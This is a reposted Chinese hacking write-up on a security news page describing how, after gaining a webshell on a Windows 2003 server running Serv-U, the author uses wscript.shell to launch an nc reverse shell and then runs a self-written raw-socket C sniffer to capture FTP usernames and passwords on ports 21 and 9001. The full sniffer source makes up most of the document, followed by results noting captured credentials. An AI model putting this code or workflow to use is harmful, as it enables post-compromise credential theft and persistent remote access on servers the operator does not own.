科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网安全频道基于Webshell的sniffer可行性研究

基于Webshell的sniffer可行性研究

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

幻影Mix修改的flashsky的那个端口复用下的嗅探serv-u,经测试,不能用于win2003服务器中,在本机winxp sp2可以嗅到ftp密码,但在win2003服务器上运行,就只能嗅到用户名,利用webshell执行的也可以嗅到用户名.

作者: 51cto 2008年4月14日

关键字: ARP ARP攻击 ARP欺骗 ARP病毒

  • 评论
  • 分享微博
  • 分享邮件

  前言:

  幻影Mix修改的flashsky的那个端口复用下的嗅探serv-u,经测试,不能用于win2003服务器中,具体我也不知道,不知道是不是操作有识,反正我是没成功过.

  我自己构造了一个环境试了一下,嗅探程序是自己写的,利用raw进行嗅探,如果要arp的话,要装那个wincap,想一想那么低的权限是不可能的.

  实验环境:

  Windows2003服务器+海洋2006+serv-u5.2

  服务器不能直接使用cmd.exe,但可以上传后利用wscript.shell组件执行命令.

  实验步骤:

  1.利用wcript.shell执行nc 反弹得到shell

  

  

  screen.width-461) window.open("/news/UploadFiles_9994/200601/20060115021853730.jpg");">

  2.利用自编写工具进行嗅探(我只嗅探21和9001,其中21为ftp,9001为反弹端口)

  CODE:

  /*------------------------------------------------------

  *file: SnifferFtp.c

  *Effect: 用于在webshell进行嗅探实验之用,基于Raw

  *Code: Huai_Huai

  *Page: Http://hhuai.cn

  *Date: 2006.1.12

  *-----------------------------------------------------*/

  #include

  #include

  #include "Winsock2.h"

  #pragma comment(lib,"WS2_32.lib")

  #define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)

  #define STATUS_FAILED 0xFFFF

  #define MAX_PACK_LEN 65535

  #define MAX_ADDR_LEN 16

  #define MAX_HOSTNAME_LEN 255

  //定义ip报头

  typedef struct _iphdr

  {

  byte ver_len; //版本4位,头长度4位,报头长度以32位为一个单位

  byte type; //类型8位

  byte length[2]; //总长度,16位,指出报文的以字节为单位的总长度

  //报文长度不能超过65536个字接,否则认为报文遭到破坏

  byte id[2]; //报文标示,用于多于一个报文16位

  byte flag_offset[2];//标志,3位 数据块偏移13位

  byte time; //生存时间,8位

  byte protocol; //协议,8位

  byte crc_val[2]; //头校验和,16位

  byte src_addr[4]; //源地址,32位

  byte tar_addr[4]; //目标地址,32位

  byte options[4]; //选项和填充,32位

  }IP_HEADER;

  typedef struct _tcphdr

  {

  byte source_port[2]; //发送端端口号,16位

  byte dest_port[2]; //接收端端口号,16位

  byte sequence_no[4]; //32位,标示消息端的数据位于全体数据块的某一字节的数字

  byte ack_no[4]; //32位,确认号,标示接收端对于发送端接收到数据块数值

  unsigned char offset_reser_con;//数据偏移4位,预留6位,控制位6为

  unsigned char th_flag;

  byte window[2]; //窗口16位

  byte checksum[2]; //校验码,16位

  byte urgen_pointer[2]; //16位,紧急数据指针

  byte options[3]; //选祥和填充,32位

  }TCP_HEADER;

  #define PROTOCOL_ICMP 1 //传输控制协议

  #define PROTOCOL_GTG 3 //Gateway-to-Gateway

  #define PROTOCOL_CGMM 4 //CMCC Gateway Monitoring Message

  #define PROTOCOL_ST 5 //ST

  #define PROTOCOL_TCP 6 //传输控制协议

  #define PROTOCOL_UCL 7 //UCL

  #define PROTOCOL_SECURE 9 //secure

  #define PROTOCOL_BRM 10 //BBN RCC Monitoring

  #define PROTOCOL_NVP 11 //NVp

  #define PROTOCOL_PUP 12 //PUP

  #define PROTOCOL_PLURIBUS 13 //Pluribus

  #define PROTOCOL_TELENET 14 //Telenet

  #define PROTOCOL_XNET 15 //XNET

  #define PROTOCOL_CHAOS 16 //Chaos

  #define PROTOCOL_UDP 17 //UDP

  #define PROTOCOL_MULTIPLEXING 18 //Multiplexing

  #define PROTOCOL_DCN 19 //DCN

  #define PROTOCOL_TAC_MONITORING 20 //TAC Monitoring

  #define PROTOCOL_ALN 63 //any local network

  #define PROTOCOL_SATNET 64 //SATNET and Backroom EXPAK

  #define PROTOCOL_MITSS 65 //MIT Subnet Support

  #define PROTOCOL_SATNET_MONIT 69 //SATNET Monitoring

  #define PROTOCOL_IPCU 71 //Internet Packet Core Utility

  #define PROTOCOL_BK_SATNET_MONI 76 //Backroom SATNET Monitoring

  #define PROTOCOL_WIDEBAND_MONI 78 //WIDEBAND Monitoring

  #define PROTOCOL_WIDEBAND_EXPAK 79 //WIDEBAND EXPAK

  SOCKET SocketRaw;

  void startsniffer()

  {

  char RecvBuf[MAX_PACK_LEN]={0};

  char FAR name[MAX_HOSTNAME_LEN];

  WSADATA wsa;

  struct hostent FAR* pHostent;

  SOCKADDR_IN sa;

  DWORD OutBuffer[10];

  DWORD InBuffer=1;

  DWORD BytesReturned=0;

  if(WSAStartup(MAKEWORD(2,2),&wsa)!=0)

  {

  printf("不能加载Winsock DLL!");

  exit(0);

  }

  SocketRaw=socket(AF_INET,SOCK_RAW,IPPROTO_IP);

  if(SocketRaw==INVALID_SOCKET)

  {

  printf("不能创建Socket!");

  exit(0);

  }

  gethostname(name,MAX_HOSTNAME_LEN);

  //这里会自动分配内存

  pHostent=gethostbyname(name);

  sa.sin_family=AF_INET;

  sa.sin_port=htons(6000);

  memcpy(&sa.sin_addr.S_un.S_addr,pHostent->h_addr_list[0],

  pHostent->h_length);

  if(bind(SocketRaw,(PSOCKADDR)&sa,sizeof(sa))!=0)

  {

  printf("不能绑定网卡!");

  closesocket(SocketRaw);

  exit(0);

  }

  if(WSAIoctl(SocketRaw,SIO_RCVALL,&InBuffer,sizeof(InBuffer),

  &OutBuffer,sizeof(OutBuffer),&BytesReturned,NULL,NULL)!=0)

  {

  printf("不能创建WSAIoctl!");

  closesocket(SocketRaw);

  exit(0);

  }

  }

  int ReceiveBuf(byte* buf,int len)

  {

  return recv(SocketRaw,(char *)buf,len,0);

  }

  void main()

  {

  int len;

  byte RecvBuf[65535];

  char buf[16];

  int iphdr_len;

  TCP_HEADER* pTcpHeader;

  unsigned __int16 src_port;

  unsigned __int16 dest_port;

  int HdrLen;

  __int16 datalen;

  IP_HEADER* pIpheader;

  int port1,port2;

  startsniffer();

  while(TRUE)

  {

  port1=port2=0;

  memset(RecvBuf,0,65535);

  len=ReceiveBuf(RecvBuf,65535);

  if(len>0)

  {

  

  pIpheader=(IP_HEADER*)RecvBuf;

  /*

  switch(pIpheader->protocol)

  {

  case PROTOCOL_ICMP:

  printf("ICMP");

  break;

  case PROTOCOL_TCP:

  printf("TCP");

  break;

  case PROTOCOL_UDP:

  printf("UDP");

  break;

  default:

  printf("其他协议");

  break;

  }

  */

  

  

  

  if(pIpheader->protocol==PROTOCOL_TCP)

  {

  iphdr_len=(pIpheader->ver_len&0xf)*4;

  pTcpHeader=(TCP_HEADER*)(RecvBuf+iphdr_len);

  src_port=pTcpHeader->source_port[0]

  *0x100+pTcpHeader->source_port[1];

  dest_port=pTcpHeader->dest_port[0]

  *0x100+pTcpHeader->dest_port[1];

  

  memset(buf,0,16);

  sprintf(buf,"%d",src_port);

  port1=src_port;

  //printf("%s ",buf);

  

  memset(buf,0,16);

  sprintf(buf,"%d",dest_port);

  port2=dest_port;

  //printf("%s ",buf);

  

  if(port1==21 || port2==21 || port1==9001 || port2==9001)

  {

  HdrLen=(pTcpHeader->offset_reser_con)>>2;

  memset(buf,0,16);

  sprintf(buf,"%s",((BYTE *)pTcpHeader)+HdrLen);

  //printf("%s ",buf);

  

  memset(buf,0,16);

  sprintf(buf,"%d.%d.%d.%d",pIpheader->src_addr[0],

  pIpheader->src_addr[1],pIpheader->src_addr[2],

  pIpheader->src_addr[3]);

  //printf("%s ",buf);

  

  memset(buf,0,16);

  sprintf(buf,"%d.%d.%d.%d",pIpheader->tar_addr[0],

  pIpheader->tar_addr[1],pIpheader->tar_addr[2],

  pIpheader->tar_addr[3]);

  //printf("%s ",buf);

  

  datalen=pIpheader->length[0]

  *0x100+pIpheader->length[1];

  memset(buf,0,16);

  sprintf(buf,"%d",datalen);

  //printf("%s ",buf);

  

  HdrLen=(pTcpHeader->offset_reser_con)>>2;

  memset(buf,0,16);

  sprintf(buf,"%s",((BYTE *)pTcpHeader)+HdrLen);

  printf("%s",buf);

  //printf(" ");

  }

  }

  }

  

  }

  }

  3.嗅探结果:

  

  

  screen.width-461) window.open("/news/UploadFiles_9994/200601/20060115021859143.jpg");">

  4.实验小结:

  确实可以嗅到一些信息,在本机winxp sp2可以嗅到ftp密码,但在win2003服务器上运行,就只能嗅到用户名,利用webshell执行的也可以嗅到用户名,一些操作,比如用户目录什么的.

  我们的webshell权限可以非常的低,只要能利用wscript.shell就行.

  其中有许多细节,需以后仔细的研究,万望论坛的高手能给予一点提示.

  5.作者联系方式:

  MSN: xiaoaina@hotmail.com

  Blog: http://hhuai.cn

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章